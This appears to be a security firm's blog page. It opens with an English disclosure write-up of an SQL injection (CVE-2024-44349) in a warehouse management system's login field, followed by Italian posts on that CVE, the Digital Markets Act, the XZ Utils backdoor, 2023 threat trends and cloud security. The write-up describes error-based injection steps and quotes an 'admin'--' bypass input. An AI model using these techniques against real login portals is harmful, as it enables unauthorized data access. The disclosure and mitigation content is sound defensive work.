CybergON Blog

Analysis on a new vulnerability: CVE-2024-44349

Andrea Ferrario — Mon, 07 Oct 2024 16:25:01 +0000

Abstract

During a black-box penetration test, we encountered a vulnerability in a software system, which allowed unauthorized access to sensitive information. Upon identifying the issue, we promptly informed the relevant parties and took steps to initiate a formal process for addressing the vulnerability through recognized security channels. This article will explore the steps taken to identify the risk and the broader implications of such security weaknesses.

CVE Introduction

We refer to the OWASP framework when conducting Web Penetration Tests for clients. According to OWASP, SQL injection (SQLi) is defined as follow: “A SQL injection attack consists of the insertion or ‘injection’ of a SQL query via input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administrative operations on the database (such as shutting down the DBMS), recover the content of a file from the DBMS file system, and in some cases, issue commands to the operating system.”

The discovered CVE is critical for companies using this WMS due to the following reasons:

Privilege escalation: Attackers can execute SQL commands directly on the database underlying the web application without requiring elevated privileges.
Network-based attack vector: The vulnerability can be exploited remotely, making it accessible from any location.
Credential exploitation: With sufficient effort and the right conditions, attackers can discover or create valid user credentials to gain access to the web application.

This vulnerability severely compromises the CIA triad —Confidentiality, Integrity, and Availability— which is the core principle of cybersecurity. Additionally, since the affected companies fall under EU regulations, they must adhere to GDPR requirements. If a threat actor exploits this vulnerability to extract sensitive information, both the company using the software and the company releasing it are obligated to inform the relevant Data Protection Authority without delay.

Description

Organizations using ANTEEO B2B WMS Software versions 4.7.x up to (but excluding) v4.7.34 are vulnerable to CVE-2024-44349, putting their data at significant risk. Below is an analysis of how this vulnerability impacts the core principles of the CIA triad:

Confidentiality: This vulnerability compromises confidentiality, as it allows unauthorized users to read database content by executing SELECT queries without authentication or elevated permissions.
Integrity: The vulnerability was identified in a production environment, limiting the scope of our testing. However, based on our findings, it is highly likely that both the UPDATE and INSERT functions can be exploited to modify data. We did not test the DELETE function due to the sensitive state of the production environment, but it remains a potential risk.
Availability: Attackers can disrupt system availability by executing SQL commands, such as the SLEEP function, which can lead to a denial-of-service (DoS) by overwhelming the application with resource-intensive queries.

Additionally, through SQL queries, attackers cannot only access data directly related to the software but also extract information about the underlying infrastructure hosting the application.

To exploit the SQL injection vulnerability, we utilized error-based SQLi, as direct output was not available. As PortSwigger explains: “Error-based SQL injection refers to cases where you’re able to use error messages to either extract or infer sensitive data from the database, even in blind contexts. The possibilities depend on the configuration of the database and the types of errors you’re able to trigger.”

Analysis

This section outlines the techniques used to exploit the SQL injection vulnerability. We began by identifying the vulnerability using special characters in the username field:

By entering a single quote (‘) into the username field, we triggered an SQL exception: “Incorrect syntax near ‘SELECT’.” to start. This error confirmed that the field is vulnerable to SQL injection (SQLi).

Given that this is a login portal, we hypothesized that the underlying SQL query might resemble something like this:

To exploit the SQL injection, we focused on manipulating the $username_field. Our initial attempt to bypass authentication involved using the following string:

We entered admin’–, which is designed to comment out the remainder of the query and log in as the admin user. However, this resulted in an error.

We also tested several common usernames (such as Administrator and superuser) but received the same output for each request. Due to the risk of causing a denial of service (DoS) in the production environment, we limited the number of logins attempts and shifted focus to extracting information from the database. To dump information from the database, we used a UNION SELECT query and needed to determine the number of columns returned by the initial SELECT statement. Unfortunately, we do not have screenshots of the process; however, iterative testing revealed that the query returns three columns.

Here’s an example of how we identified this:

Next, we focused on identifying the DBMS used by ANTEEO WMS. To do this, we examined one of the POST requests captured by a web proxy tool, such as CAIDO or Burp Suite.

From the POST requests, we observed that the web application operates on ASP.NET AJAX, indicating a likely use of Microsoft SQL Server. To confirm this, we executed the following query:

This query cast a string containing the MSSQL version information as an integer, intentionally raising an exception. The exception was then displayed in the webpage modal.

With this simple query, we confirmed the following information about the system running ANTEEO WMS:

Database: Microsoft SQL Server 2019, version 15.0.216.2
Operating System: Windows Server 2022, version 10.0

Based on this, we developed a Proof of Concept (PoC), which can be viewed on GitHub PoC CVE-2024-44349, to facilitate further testing and enumeration. Below is an example from the code, demonstrating how the PoC sends the SQL query:

Risk/Impact Assessment

Due to confidentiality concerns, we are unable to disclose the specific data extracted by the PoC. However, we were successfully able to enumerate the following:

Databases present on the server
Tables and views within each database
Columns of each accessible table
Contents of the accessible tables
Information regarding the domain, service accounts, and host used by the company hosting the software

By exploiting this vulnerability, malicious actors could potentially access sensitive information, including user credentials and password hashes, which could lead to further compromise of the affected systems.

Mitigation Strategies

To prevent SQL injection vulnerabilities, it is critical to sanitize and validate all input fields thoroughly. Implementing strong input validation ensures that no malicious code can be injected into the system. Additionally, deploying Intrusion Detection Systems (IDS) and Intrusion Prevention Systems (IPS) can help identify and block potential SQL injection attempts in real-time, reducing the risk of compromise. Furthermore, ingesting application logs into a Security Information and Event Management (SIEM) system and analyzing them with the help of the Security Operation Center (SOC) can lead to identify the attempts to dump the information. To further mitigate the damage of a successful SQL injection attack, it is essential to limit the privileges assigned to each database account. By ensuring that accounts have only the minimum necessary permissions, you can significantly reduce the impact of any unauthorized access. We strongly recommend updating the system to the latest version, which contains patches for known vulnerabilities. However, if updating is not immediately feasible, consider placing the application behind a Web Application Firewall (WAF) and restricting external access as much as possible to limit the attack surface.

After the vulnerability notification, the vendor promptly patched the issue in version 4.7.34. However, it is highly recommended to upgrade to version 5.0 for enhanced security and additional protections.

Conclusion

In this report, we outlined the process by which we discovered and exploited a critical vulnerability in the ANTEEO B2B WMS software. Following our findings, we submitted a request to the MITRE organization, resulting in the assignment of CVE-2024-44349. This vulnerability allows threat actors to inject malicious SQL commands via the username parameter, enabling them to access and disclose sensitive data from the underlying database. The vulnerability affects versions 4.7.x through 4.7.34 (excluded) of the ANTEEO B2B WMS. CVE-2024-44349 represents a significant security risk and, if exploited, could lead to unauthorized data access and system compromise. Organizations using the affected versions must prioritize patching their systems, enhance monitoring, and implement security best practices to mitigate the potential risks associated with this vulnerability and protect against future threats.

La vulnerabilità scoperta dai nostri specialisti: come funziona e cosa fare

Francesca Cioffi — Mon, 23 Sep 2024 16:25:01 +0000

Il Red Team di CybergON ha recentemente scoperto la CVE-2024-44349. La CVE è stata identificata durante l’attività di penetration testing sulla web application di un cliente, nello specifico un Warehouse Management System (WMS). Lo strumento coinvolto è stato sviluppato da Anteeo, una software house polacca. La vulnerabilità si realizza tramite SQL Injection (SQLi), che consente attraverso comandi costruiti su misura di interferire o interrogare diversamente i dati presenti nel database sottostante una specifica web application.

Nel caso in analisi, durante il penetration test è stata scoperta la possibilità di sfruttare l’SQLi all’interno del portale Anteeo WMS esposto pubblicamente alla versione 4.7.31. Il comando per innescare la vulnerabilità non risulta immediato ed è quindi difficilmente rilevabile con strumenti di scansione automatica. Dopo alcuni tentativi, inserendo nel campo username dei particolari comandi SQL si ottiene a schermo un box di errore con informazioni che non dovrebbero essere visibili a un utente standard.

Indagando più a fondo si è arrivati a enumerare tutti i database, gli schema, le tabelle e le colonne presenti all’interno del sito, oltre che ottenere una parte dei dati presenti nel database. Si tratta di dati sensibili riguardante l’azienda cliente su cui si stava eseguendo l’attività e che nelle mani di malintenzionati potrebbero essere utilizzati per ricatti e rivendita.

Il Red Team di CybergON ha contattato Anteeo che in poco tempo ha sviluppato una patch e ha rilasciato il nuovo update sull’infrastruttura del cliente. In seguito, sono stati svolti dei test e la versione 4.7.34 non risulta più vulnerabile o impattata in alcun modo. Al momento il portale non risulta raggiungibile.

Cogliamo l’occasione per ricordare che è fondamentale tenere aggiornati all’ultima versione i sistemi operativi e le applicazioni di qualsiasi natura per evitare di avere falle di sicurezza.

Digital Markets Act: come cambia lo scenario mondiale

Francesca Cioffi — Tue, 18 Jun 2024 16:25:01 +0000

Il 7 marzo, l’Unione Europea ha promulgato il Digital Markets Act (DMA), la norma che regolamenta il mercato digitale europeo. L’obiettivo dichiarato è quello di rendere il mercato più accessibile e dare ai consumatori la possibilità di poter scegliere contemporaneamente tra molteplici servizi offerti dai gatekeeper.

Gatekeeper, in questo caso, sono tutte le piattaforme digitali che hanno generato un fatturato annuo di minimo 7,5 miliardi di euro all’interno dell’Unione Europea negli ultimi tre anni, che hanno una valutazione di mercato superiore ai 75 miliardi di euro e che contano almeno 45 milioni di utenti finali mensili. Di queste realtà, la Commissione Europea ne ha individuate 22 che ha denominato CPS (Core Platform Services), ovvero i siti che “hanno un impatto significativo sul mercato interno; gestiscono un servizio di piattaforma principale che funge da importante passaggio per gli utenti commerciali per raggiungere gli utenti finali; e gode di una posizione consolidata e duratura nelle sue operazioni o è prevedibile che goda di tale posizione nel prossimo futuro”. vi rientrano i colossi del web: Alphabet (Google), Apple, Amazon, ByteDance, Meta e Microsoft. In sostanza, nell’inquadramento della Commissione del Parlamento Europeo, gatekeeper e CPS possono essere considerati sinonimi.

A partire da settembre 2023, i gatekeeper hanno avuto a disposizione sei mesi per adeguarsi alla normativa ed evitare di incorrere in sanzioni da parte della Commissione Europea; infatti, le multe arrivano fino al 10% del fatturato totale annuo mondiale dell’azienda e fino al 20% in caso di violazioni ripetute.

I CPS hanno l’obbligo di garantire l’interoperabilità con i servizi di terze parti, consentendo loro di comunicare e integrarsi liberamente con la piattaforma. Il fine è quello di creare condizioni di parità tra le imprese evitando di creare un monopolio. In aggiunta, agli utenti deve essere garantita la portabilità dei dati e quindi avere la possibilità di trasferire i propri dati da un servizio all’altro. Tra i vari obblighi, i gatekeeper sono tenuti, su richiesta, a fornire alle aziende e alle terze parti l’accesso in tempo reale ai dati generati dagli utenti sulla loro piattaforma.

I rischi collegati alla sicurezza informatica

Proprio l’interoperabilità rappresenta il primo di una serie di rischi legati alla sicurezza informatica: la trasmissione di dati da un servizio all’altro, se non protetta adeguatamente, comporta un rischio notevole. In questa cornice, il corretto trattamento dei dati acquisisce un ruolo sempre più centrale nella protezione delle informazioni riservate degli utenti e, allo stesso tempo, può generare una falla di sicurezza che permette ai criminali informatici di entrare in possesso dei dati personali degli utenti. Il DMA suggerisce un approccio insoddisfacente per i sostenitori della privacy, in cui i messaggi inviati tra due piattaforme con schemi di crittografia incompatibili vengono decifrati e ricifrati quando passano da una all’altra, interrompendo la catena di crittografia “end-to-end” e creando un punto di vulnerabilità per l’intercettazione da parte di un cattivo attore. Questo avviene perché, attualmente, ogni servizio di messaggistica è responsabile della propria sicurezza gli utenti di un servizio sono esposti alle vulnerabilità che potrebbero risultare dall’interoperabilità. Due facce della stessa medaglia sono la moderazione e l’abuso: se da un lato le API aperte sono una buona notizia per la scelta dei consumatori, dall’altro possono essere utilizzate da spammer, phisher e altri malintenzionati per causare problemi agli utenti all’interno del gatekeeper. Gli approcci alla moderazione e all’antiabuso su Internet oggi sono tristemente noti, con una gestione centralizzata da parte dei gatekeeper che però produce risultati sempre più irregolari. Eliminando di fatto i limiti, si crea un’opportunità necessaria per rivedere il modo in cui gli utenti e gli amministratori possono filtrare i contenuti indesiderati alle loro condizioni.

Apple e Google

In quanto fornitori di servizi di gatekeeper, Google e Apple sono costretti ad accettare requisiti per facilitare il “sideloading”, ovvero la possibilità di installare app di terze parti senza dover passare dallo store ufficiale. Anche se questo faciliterà la concorrenza, Apple ha criticato il Digital Markets Act per aver compromesso le sue protezioni, affermando che la legge “creerà inutili vulnerabilità alla privacy e alla sicurezza”. Inoltre, poiché fino a questo momento Apple ha controllato severamente il proprio app store e i propri dispositivi, ha potuto più facilmente gestire e affrontare i problemi di sicurezza, come malware e malintenzionati. In ogni caso, Apple si è adeguata alla normativa e ha già aperto iPhone e iPad a negozi di applicazioni alternativi.

Google deve affrontare sfide simili per garantire la sicurezza di Android. Sebbene sia stato riscontrato un maggior numero di vulnerabilità nelle applicazioni Android rispetto a quelle iOS, questa differenza risulta insignificante e il livello complessivo di sicurezza dei client delle applicazioni mobili per Android e iOS è più o meno lo stesso. L’implementazione di questi requisiti senza che siano previste specifiche caratteristiche di audit di sicurezza causerà sicuramente l’insorgere di problemi di sicurezza significativi. Quando sarà più facile per le persone installare applicazioni mobili che possono anche essere veicolo di malware in virtù di piattaforme meno controllate, è probabile che questi numeri aumentino. La questione è come gestire le conseguenze che potrebbero verificarsi.

Molti esperti di sicurezza concordano sul fatto che richiedere l’interoperabilità senza compromessi accettabili in termini di sicurezza o privacy è un ostacolo molto alto, che potrebbe rivelarsi insormontabile. Le piattaforme, in aggiunta, devono prestare attenzione alla lotta contro la personificazione e al mantenimento dell’usabilità, in modo che la più ampia gamma possibile di utenti continui ad avere accesso alle comunicazioni sicure più avanzate. Il DMA, di fatto, è un’opportunità per creare requisiti di sicurezza più stringenti e migliorare l’interoperabilità in termini di sicurezza. Ciò può gettare le basi per la creazione di un centro di cybersecurity gestito a livello globale per il controllo delle minacce informatiche. L’Unione Europea è chiamata ad agire tempestivamente per evitare che ci siano fallimenti nella cybersecurity.

Le altre normative

In Europa, già nel 2016 il GDPR aveva gettato le basi per un corretto trattamento dei dati degli utenti finali, esplicitando regole precise a cui sottostare per non violare la privacy degli utenti e consentire alle persone di avere maggiore controllo sui loro dati personali.

In Giappone, Tokyo si rivolge ad alcuni mercati ristretti e principalmente a uno, quello degli app store. La legislazione che dovrebbe essere inviata al parlamento quest’anno autorizzerebbe la Japan Fair Trade Commission a costringere Apple e Google ad autorizzare app store e sistemi di pagamento di terze parti. Per quanto riguarda la ricerca, la legislazione proposta potrebbe impedire a Google di riservare un trattamento preferenziale ai propri servizi. Secondo quanto riferito, nessuna società giapponese rientrerà nel campo di applicazione.

Se prima della Brexit il Regno Unito voleva liberarsi dall’eccessiva regolamentazione digitale dell’UE ora vuole impiegare l’Antitrust per affrontare i colossi del mercato digitale. Infatti, in base al Digital Markets Competition and Consumers Bill, che dovrebbe diventare legge quest’anno, le maggiori aziende tecnologiche ritenute strategiche per il mercato, comparabili ai gatekeeper designati dal DMA, dovranno aprire i loro dati ai motori di ricerca rivali, rivedere i loro app store, intensificare la lotta contro le false recensioni online e allentare i vincoli sugli abbonamenti. Anche in questo caso, l’obiettivo è ridurre la posizione dominante che un piccolo numero di aziende tecnologiche detiene su consumatori e imprese. Le aziende, che verranno individuate dall’Unità per i mercati digitali dell’antitrust britannico, che violano la nuova legge rischiano multe fino al 10% del fatturato globale. Nel complesso, il nuovo disegno di legge assomiglia al DMA dell’UE, anche se per certi aspetti è più stringente: potrebbe includere i mercati di streaming video e attività specifiche come Amazon Prime.

Conclusione

In conclusione, l’Unione Europea ha delineato per la prima volta un quadro di regole che, al momento, riguardano unicamente i leader del mercato digitale. Tuttavia, se l’idea è quella di stabilire una concorrenza equa, non è escluso che tali regole vegano estese ad altri attori dell’industria digitale che attualmente non rientrano nei parametri definiti dalla Commissione Europea. Per quanto sia apprezzabile il tentativo di regolamentare il mercato digitale, è quantomai urgente prestare attenzione ai problemi di sicurezza che possono insorgere e adoperarsi per adottare una linea condivisa di prevenzione e protezione.

Fiction o realtà? Storia di una compromissione che ha colpito Linux

Francesca Cioffi — Thu, 09 May 2024 10:36:01 +0000

All’inizio del mese di aprile è stata scoperta una backdoor presente nella libreria XZ Utils, che ha colpito il sistema operativo Linux, portando nuovamente l’attenzione sui rischi legati all’utilizzo di sistemi operativi open source.

XZ Utils è una libreria di compressione dati precedentemente conosciuta come LZMA Utils.

La backdoor in questione è stata creata da JiaTan, un utente che da tempo militava nella repository GitHub del progetto Tukaani. Non si hanno molte informazioni su questa persona, potrebbe essere un singolo oppure un gruppo criminale strutturato che agisce per fini specifici.

Cronologia della compromissione

L’inizio di questa compromissione ha avuto luogo a fine 2021, quando JiaTan crea il suo account e inizia a compiere attività relative a Tukaani, acquisendo man mano credibilità agli occhi della community. Nel frattempo, appare sulla scena un nuovo attore: Dennis Ens. Ens dà supporto a JiaTan e mette pressione all’owner di Tukaani, Lasse Collin, affinché inserisca Tan come maintainer della repository di GitHub. Ens non è l’unico a mettere pressione a Collin: già nei mesi antecedenti decine di utenti avevano iniziato ad avanzare la stessa richiesta.
Verso la fine del 2022, Jia diventa maintainer acquisendo ancora più responsabilità e credito. Grazie a questo ruolo ha la possibilità di portare avanti il progetto XZ Utils rilasciando aggiornamenti e nuove versioni della repository. Eseguendo diversi test, Jia inserisce una parte di malware nella piattaforma di produzione e si ipotizza che disabiliti la funzione di ifunc, impedendo di fatto il successivo rilevamento di modifiche pericolose e dandogli la possibilità di inserirle in XZ Utils. In questo momento inizia il vero e proprio attacco all’intero progetto Tukaani e viene creata la backdoor che permette a eventuali attaccanti di prendere il controllo del sistema operativo in questione.

Le versioni del codice

Il codice è stato progettato per essere eseguito alla fine di uno script e modificare la libreria all’interno del pacchetto XZ Utils, per fornire un accesso non autorizzato al sistema. Questo avviene tramite l’elusione dei protocolli SSH di autenticazione e di accesso a interi sistemi da remoto. Il codice malevolo trovato dimostra quanto sia fondamentale per le organizzazioni seguire le best practice, tra cui evitare l’esposizione SSH direttamente a Internet, ove possibile, e implementare misure di sicurezza aggiuntive, come il limitare le connessioni da range IP sconosciuti, disabilitare autenticazione tramite password e impostare il fail to ban.

Le versione 5.6.0. e 5.6.1. sono state quindi rilasciate a febbraio 2023. Tan e altri collaboratori hanno esortato gli sviluppatori di Ubuntu, Red Hat e Debian a scaricare gli aggiornamenti, anche se senza esito. Queste versioni sono state riconosciute come ospitanti una backdoor progettata per permettere l’accesso non autorizzato. Per questo, è stato loro assegnato un identificativo CVE-2024-3094 con punteggio di gravità 10,0, indicando un rischio estremamente alto. Solo qualche settimana fa è stato rilasciato il codice per estrarre e innescare la backdoor, nascondendolo in file di test per verificare il funzionamento di XZ Utils.

Di seguito due tabelle con i dispositivi che sono e non sono stati affetti dalle versioni rilasciate:

Qualche giorno dopo il rilascio del codice, uno sviluppatore software di Microsoft, Andres Freund, ha rilevato prestazioni rallentate nella connessione SSH a un server remoto; nello specifico, i login SSH stavano consumando troppa CPU e hanno generato degli errori in seguito ad analisi con Valgrind, una Linux utility per il monitoraggio della memoria. In seguito a questa rivelazione Freund continua le sue indagini e scopre che è stata inserita una backdoor alla base della libreria XZ.

Conclusione

Allo stato attuale è presente una Proof of Concept (PoC) di questa vulnerabilità: la remediation più efficace risulta essere il revert alle versioni precedenti, mentre gli sviluppatori Debian hanno optato per ricostruire l’intero sistema prima delle commit critiche.

Almanacco 2023: Eventi e Considerazioni

Filadelfio Emanuele — Wed, 20 Dec 2023 14:16:01 +0000

L’almanacco era il luogo in cui i cammelli effettuavano lo scarico e il carico delle merci. Nel nostro Almanacco, in maniera non dissimile, trattiamo le evidenze dell’anno appena trascorso e le tendenze di quello venturo.

Gli attacchi continuano a crescere anno su anno sia a livello globale, sia sul territorio italiano e sia in termini di varietà, che di quantità. In Italia gli attacchi di criticità elevata registrati nei primi 6 mesi sono 91, vale a dire che il belpaese ha visto una crescita del 40% rispetto all’anno precedente e del 300% se si considerano gli ultimi 5 anni.
Questo emerge da report quale il Clusit o l’ENISA Threat Landscape, entrambe nelle versioni di ottobre 2023 che vanno ad indagare il primo semestre dell’anno in corso.

Possiamo dirci lontani globalmente e in maniera particolare sul nostro territorio da un livello adeguato di protezione dal cyber crime; tuttavia, bisogna considerare che il numero sempre crescente degli attacchi informatici possa essere correlato anche a un maggior e miglior livello di tracciamento dovuto a tecnologie più all’avanguardia e diffuse, sì nei centri di ricerca ma soprattutto nelle aziende medie e grandi che stanno adeguando i livelli di investimento al rischio concreto. Bisogna quindi riconoscere che il livello di consapevolezza stia gradualmente aumentando, ma che probabilmente il gap rispetto al tasso di crescita delle aziende del cyber crime e dei loro attacchi è ancora molto, troppo, importante.

Malware, Vulnerabilità (note e 0-day) e Phishing si confermano tra le tipologie di attacco più utilizzate, seguite da DDoS e via via le restati categorie di attacco, come quelli con tecniche multiple, attacchi web o furto di identità.

Il 2023: cloud, AI e modelli di business

Avendo visto come si è mosso l’andamento a livello di scenario, proponiamo un’analisi su quelli che sono stati gli insight del 2023 e cosa possiamo aspettarci dal 2024.

L’hot topic del momento è ovviamente l’AI con le sue sfaccettature e tutti i dibattiti che si porta dietro. Sorvoliamo sulle questioni etiche e andiamo dritti al punto ragionando su come l’utilizzo delle intelligenze artificiali possa aver facilitato l’attacco e la difesa. L’incremento dei chatbot AI ha avuto un impatto sul panorama delle minacce cyber. L’adozione esponenziale di chatbot generativi da parte degli utenti ha ulteriormente contribuito a far “abbassare la guardia” su condivisioni di dati, password e informazioni sensibili. Un rischio riguarda la possibilità che i cyber criminali possano manipolare i sistemi di AI per eludere le misure di sicurezza e di conseguenza esfiltrare dati condivisi. Come abbiamo detto, nel 2023 il phishing ha mantenuto il suo ruolo da protagonista grazie anche alla comparsa AI, il cui utilizzo ha reso le campagne phishing più difficili da riconoscere dall’utente, avendo l’intelligenza artificiale eliminato gli errori linguistici grossolani tipici delle comunicazioni malevole. Infine, è stata sfruttata per creare codice malevole o individuare e sfruttare vulnerabilità. Per chi si occupa di difesa, invece l’intelligenza artificiale ha svolto un ruolo nella threat intelligence mediante l’analisi di documenti e informazioni utili e flussi di lavoro più snelli ed autonomi.

Nonostante il Cloud sembri un tema sdoganato anche in Italia, di fatto, il mercato, specialmente quello legato all’Hybrid Cloud, è cresciuto per tutto il 2023 del 24% sancendo ufficialmente il sorpasso della nuvola sull’on premise (Fonte: Osservatorio Cloud Transformation Polimi). L’adozione di strategie di difesa adeguate ha quindi comportato i primi grandi investimenti nell’anno appena trascorso e ci auguriamo che ci sarà un consolidamento in quello a venire, dal momento che il cloud risulta enormemente appetibile per l’ingente quantità di dati che vi circola e del ruolo che riveste nell’ambito di una strategia aziendale e gli attacchi sono sempre più maturi e impattanti.

Malware e Ransomware nelle modalità as a service risultano tra le modalità di business più diffuse nel mercato del cyber crime. La possibilità, cioè, di acquistare pacchetti e usarli contro un target selezionato pur non avendo competenze tecniche ha ampliato di molto l’offerta e trovato grande riscontro già negli anni passati. Il 2023 ha visto consolidarsi questo modello con un focus su un particolare tipo di malware: l’Infostealer. Stealc, ad esempio, è un Infostealer apparso all’inizio dell’anno basato sui suoi parenti più anziani Raccoon, Vidar, Mars e Redline e ha come obiettivo l’esfiltrazione di dati sensibili dal web, portafogli di criptovalute e dati di account di app come Outlook e Telegram, con capacità di recuperare anche file degli impiegati delle aziende colpite. Gli Infostealer non rappresentano esattamente una novità, ma stiamo assistendo a una evoluzione preoccupante del modello di business che sta dando luogo anche a una verticalizzazione del mercato. Una crescente specializzazione dà vita anche a “partnership” tra gruppi criminali che a loro volta generano versioni sempre più complesse e difficili da individuare di malware che possono colpire anche moltissime aziende in contemporanea. Il successo di questa evoluzione risiede nei profitti derivanti dagli attacchi: i set di dati esfiltrati sono numerosissimi e valgono moltissimo, tanto che i forum specializzati nel dark web stanno esplodendo.

Cosa aspettarci dal 2024

Se da un lato l’AI legata a chatbot generativi ha trovato sempre più spazio, dall’altro c’è un oceano inesplorato di potenzialità e potenziali rischi legati al machine learning e all’intelligenza artificiale che potremmo dover navigare proprio nel 2024. Tra questi sicuramente è da menzionare il deep fake, ormai noto e largamente utilizzato sui social con pagine dedicate a personaggi famosi protagonisti di video improbabili (ad esempio Gerry Scotty nei panni di Freddie Mercury). Potremmo quindi assistere all’utilizzo di deep fake pericolosi legati a personalità di spicco del mondo politico – non possiamo ignorare che i conflitti attualmente in corso comportino anche una grande e complessa guerra cibernetica – o su privati, minori, personaggi famosi. Le tecnologie di protezione devono quindi crescere di pari passo e specializzarsi sempre più sulla deep fake detection affinché le aziende siano pronte ad affrontare la minaccia.

Come dicevamo, i due conflitti principali a cui stiamo drammaticamente assistendo comportano una guerra cibernetica che incrementa una tipologia di attacchi molto specifica: state-sponsored e hacktivism. Possiamo prevedere che l’instabilità geopolitica continuerà ad alimentare gli attacchi DDoS, le fughe di dati, gli attacchi di defacing e altri, e che le motivazioni alla base dell’hacktivismo diventeranno sempre più complesse e labili, confondendo il confine tra politica e business e colpendo obiettivi civili e militari. Potremmo inoltre assistere alla tentata compromissione di eventi importanti come le elezioni in USA, quelle europee o le olimpiadi estive di Parigi. Anche per queste ragioni, la cyber security sta sempre più entrando nelle agende politiche di tutte le nazioni e dei continenti che implementano regolamentazioni sempre più severe, dando mandato ad aziende e organizzazioni governative di attuare politiche stringenti sulla protezione dei dati e dei sistemi. Queste regolamentazioni andranno di pari passo con processi specifici e un approccio olistico alla sicurezza nelle aziende, che si trovano ora a fare i conti anche con uno skills shortage importante. Tematiche quali zero-trust e DevSecOps andranno via via a integrarsi con tutti gli strumenti e piattaforme che un’organizzazione possiede. Questo comporta la necessità di avere uno o più facilitatori interni che si facciano carico di questo cambiamento e il 2024 potrebbe essere l’anno per muovere alcuni passi in questa direzione.

È innegabile che la cultura della cybersecurity si stia diffondendo nelle aziende. Questo porta maggior consapevolezza rispetto ai processi, alle tecnologie e alle risorse da mettere in campo che permettono un recupero più veloce in caso di attacco informatico. Tuttavia, gli sforzi che si stanno facendo in media non sono ancora sufficienti e lo dimostra il fatto che sì, le aziende ci mettono meno tempo a risollevarsi ma continuano sempre più frequentemente a essere vittima di attacchi. Inoltre, l’offesa sta cambiando paradigma: l’obiettivo sembra essere sempre meno il fermo dell’azienda e sempre più l’esfiltrazione di dati, ciò che c’è di più prezioso nell’organizzazione. La cosa molto interessante è che alcuni attacchi informatici iniziano a chiedere riscatti molto convenienti se paragonati al ripristino dei sistemi. Nel 2024 potremmo assistere a un rafforzamento di questo modello di business.

Cloud Security: le best practice di sicurezza per la nuvola

Ilaria Martinelli — Wed, 08 Nov 2023 10:36:01 +0000

Gli attacchi sono cresciuti e sono sempre più complessi. Lo rilevano i dati ma anche l’esperienza di chi fa della sicurezza informatica il proprio mestiere.

Fonte: Clusit

Mentre il cyber crimine si muove come una grande impresa, o meglio, come un insieme di tante imprese, le aziende del nostro territorio subiscono attacchi che hanno enormi impatti sull’operatività aziendale e quindi sul business.

Phishing, malware e vulnerabilità rimangono tra i vettori di attacco più utilizzati, ma anche quelli cloud-based trovano spazio e sono aumentati del 48% su scala globale (Check Point Research). Nonostante si senta abbondantemente parlare di security by design in riferimento all’approccio al cloud, sentiamo il bisogno di sfatare questo mito in questo articolo.

Quali sono allora i maggiori rischi di sicurezza informatica quando si parla di cloud?

Il cloud risulta enormemente appetibile per via dell’ingente quantità di dati presenti negli applicativi e del ruolo spesso strategico che riveste nell’ambito di una infrastruttura aziendale.

Visibilità End to end

Essere in grado di mappare il proprio parco applicativo e conoscere quali sono le attività che vengono svolte quotidianamente, permette di riconoscere quali sono, invece, le attività sospette e malevole.

Non sempre i cybercriminali sfruttano nell’immediato una vulnerabilità. Molto spesso possono rimanere silenti per settimane (tra le 2 e le 6 settimane) prima di procedere con l’attacco vero e proprio, questo perché, studiando l’infrastruttura della vittima è possibile conoscere meglio i punti di debolezza da poter sfruttare. Essere in grado di riconoscere i movimenti sospetti permette di agire in tempo ed evitare che l’attacco informatico vada a buon fine o si propaghi e che il business venga impattato in maniera irreversibile.

Il monitoraggio interno deve essere una priorità: avere una visibilità end to end di tutte le attività che vengono svolte interamente e la successiva lettura di tali attività da parte di persone competenti permette una gestione efficace dell’infrastruttura stessa.

Tale lettura deve riguardare tutto il parco applicativo per avere sempre ben chiaro lo stato in cui la propria infrastruttura si trova con le relative attività che vengono svolte, in modo da avere sempre sotto controllo ciò che avviene internamente.

Un altro aspetto importante riguarda la valutazione del rischio che deve essere svolto insieme al proprio SOC per poter capire quali sono i momenti più adatti per svolgere attività di ricognizione e identificazione delle attività sospette da parte di entità non autorizzate ad accedere al cloud.

Avere un presidio ²⁴⁄₇ sull’infrastruttura garantisce una raccolta di indizi sulle attività svolte e l’azione nel minor tempo possibile in caso di riconoscimento di attività malevole.

Gestione delle vulnerabilità

Partendo dal presupposto che nessuna azienda è impenetrabile e ogni azienda può presentare delle falle nel proprio sistema, bisogna quindi porre l’attenzione sull’analisi e sulla gestione delle vulnerabilità affinché queste non vengano sfruttate attivamente.

Questo processo, valido per ogni tipo di infrastruttura, deve essere programmato in maniera ancora più puntigliosa quando si parla di cloud.

Il controllo attivo delle vulnerabilità presenti all’interno del proprio sistema e dei propri applicativi deve avvenire in maniera costante e ricorsiva. Non basta quindi avere un piano di assessment delle vulnerabilità che avvenga una tantum, al contrario deve avvenire in maniera continuativa.

Un servizio di Continuous Vulnerability Assessment permette di avere sotto controllo lo stato attuale della propria infrastruttura per riconoscere in real-time eventuali falle nel sistema e impostare un piano di remediation volto a rimediare tali falle tempestivamente.

Secondo un report svolto internamente alla nostra azienda, i tempi di remediation per lo sfruttamento delle vulnerabilità critiche e con criticità alta si attesta tra i 95 giorni e i 100 giorni. Vulnerabilità con diversi livelli di criticità hanno necessità di essere rimediate in tempi diversi: anche qualche giorno in più può risultare cruciale. Non va poi trascurata l’attività di patch management, ovvero quelle attività di controllo degli aggiornamenti del sistema operativo e il processo di implementazione degli aggiornamenti per ridurre l’esposizione ad attacchi informatici, garantire una continuità operativa e risolvere vulnerabilità della sicurezza.

Quando si parla di vulnerabilità va anche considerata la configurazione dell’infrastruttura. Entra in gioco, quindi, il concetto di mis-configuration, ovvero una non corretta o non appropriata configurazione dell’infrastruttura che, se non in linea con le esigenze del business, può portare allo sfruttamento della stessa da parte dei criminali informatici.

Effettuare una valutazione della situazione dell’infrastruttura da un punto di vista della sicurezza informatica può essere utile da un lato per effettuare un’analisi dell’ambiente cloud, dall’altro per determinare il livello di sicurezza dello stesso. Una volta effettuata questa prima analisi possono essere messe in campo le best practice per rendere il proprio cloud il più sicuro possibile.

Protezione avanzata

Come abbiamo visto precedentemente, il numero degli attacchi è in continuo aumento, così come la loro complessità. I cyber criminali affinano sempre più le proprie tecniche, tanto da non essere più in grado di classificare gli attacchi sotto una unica categoria. Secondo il rapporto Clusit 2023, infatti, circa il 24% degli attacchi sono di tipo sconosciuto, proprio per la loro sempre più recente natura che non permette di catalogarli in categorie già esistenti.

Le aziende, per difendersi anche da queste più recenti tipologie, hanno bisogno di sistemi altrettanto efficaci che si sviluppino di pari passo con l’evoluzione degli attacchi stessi. La protezione del dato deve diventare la priorità e con essa anche tutte le best practice legate al tema del back-up.

